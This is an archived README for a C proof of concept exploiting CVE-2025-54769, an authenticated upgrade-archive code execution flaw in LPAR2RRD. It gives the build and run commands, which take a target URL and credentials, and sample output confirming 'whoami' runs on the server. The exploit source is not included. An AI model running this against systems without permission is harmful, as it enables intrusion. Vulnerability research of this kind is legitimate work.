CVE-2025-54769: Authenticated LPAR2RRD Upgrade Remote Code Execution PoC

cc -Wall -Wextra -O2 -o CVE-2025-54769 CVE-2025-54769.c -lcurl

./CVE-2025-54769 -u http://TARGET -a USER:PASS -n t4hunt-$(date +%s)

  t4hunt
  CVE-2025-54769 LPAR2RRD upgrade RCE PoC
  -----------------------------------------
[*] target       http://TARGET
[*] nonce        t4hunt-...
[*] upload_http  200
[*] proof_http   200
[*] proof_url    http://TARGET/lpar2rrd/cve_2025_54769_t4hunt-....txt

[+] verified: whoami output captured

.
|-- CVE-2025-54769.c
|-- LICENSE
`-- README.md

---
id: 8944
canonical_url: "https://phying.com/item/8944"
title: "CVE-2025-54769: Authenticated LPAR2RRD Upgrade Remote Code Execution PoC"
type: "vulnerability"
cve: "CVE-2025-54769"
cvss: 8.8
severity: "high"
vendor: "XORUX"
product: "LPAR2RRD"
affected_versions: "<= 8.04"
source_domain: "github.com"
source_url: "https://github.com/tunahantekeoglu/CVE-2025-54769"
published_at: "2026-10-05T12:03:29Z"
snapshot_at: "2026-10-26T05:50:00Z"
archived_by: "Phying News (https://phying.com/item/8944)"
lang: "en"
---

# CVE-2025-54769: Authenticated LPAR2RRD Upgrade Remote Code Execution PoC

*Author: t4hunt (tunahantekeoglu) · Source: [github.com/tunahantekeoglu/CVE-2025-54769](https://github.com/tunahantekeoglu/CVE-2025-54769)*

`C` · `libcurl` · `LPAR2RRD` · `t4hunt`

---

## Overview

This repository contains a compact C proof of concept for CVE-2025-54769. The program builds a minimal upgrade archive, uploads it through the authenticated LPAR2RRD upgrade endpoint, then fetches a proof file containing the effective user returned by the target.

| Field | Value |
|---|---|
| Product | LPAR2RRD |
| Vulnerability | Authenticated upgrade RCE |
| Proof | `whoami` output written to a web-readable proof file |
| Author | `t4hunt` |

It is intentionally narrow:
- no reverse shell
- no persistence
- no user creation
- no destructive payload

## Build

```bash
cc -Wall -Wextra -O2 -o CVE-2025-54769 CVE-2025-54769.c -lcurl
```

## Usage

```bash
./CVE-2025-54769 -u http://TARGET -a USER:PASS -n t4hunt-$(date +%s)
```

Arguments:

| Option | Description |
|---|---|
| `-u` | Base URL of the target LPAR2RRD instance |
| `-a` | HTTP Basic credentials in `user:pass` format |
| `-n` | Safe nonce used for the proof filename |

## Expected Output

```
  t4hunt
  CVE-2025-54769 LPAR2RRD upgrade RCE PoC
  -----------------------------------------
[*] target       http://TARGET
[*] nonce        t4hunt-...
[*] upload_http  200
[*] proof_http   200
[*] proof_url    http://TARGET/lpar2rrd/cve_2025_54769_t4hunt-....txt

[+] verified: whoami output captured
```

## Verification

A successful run confirms code execution by writing and retrieving a proof file from the target web directory. The proof contains the output of `whoami`.

## Repository Layout

```
.
|-- CVE-2025-54769.c
|-- LICENSE
`-- README.md
```

## Scope

Use this only on systems you own or have explicit permission to test.

---
> 📦 **Full-Text Markdown Snapshot** archived by [Phying News](https://phying.com/item/8944) · Original source: [github.com](https://github.com/tunahantekeoglu/CVE-2025-54769)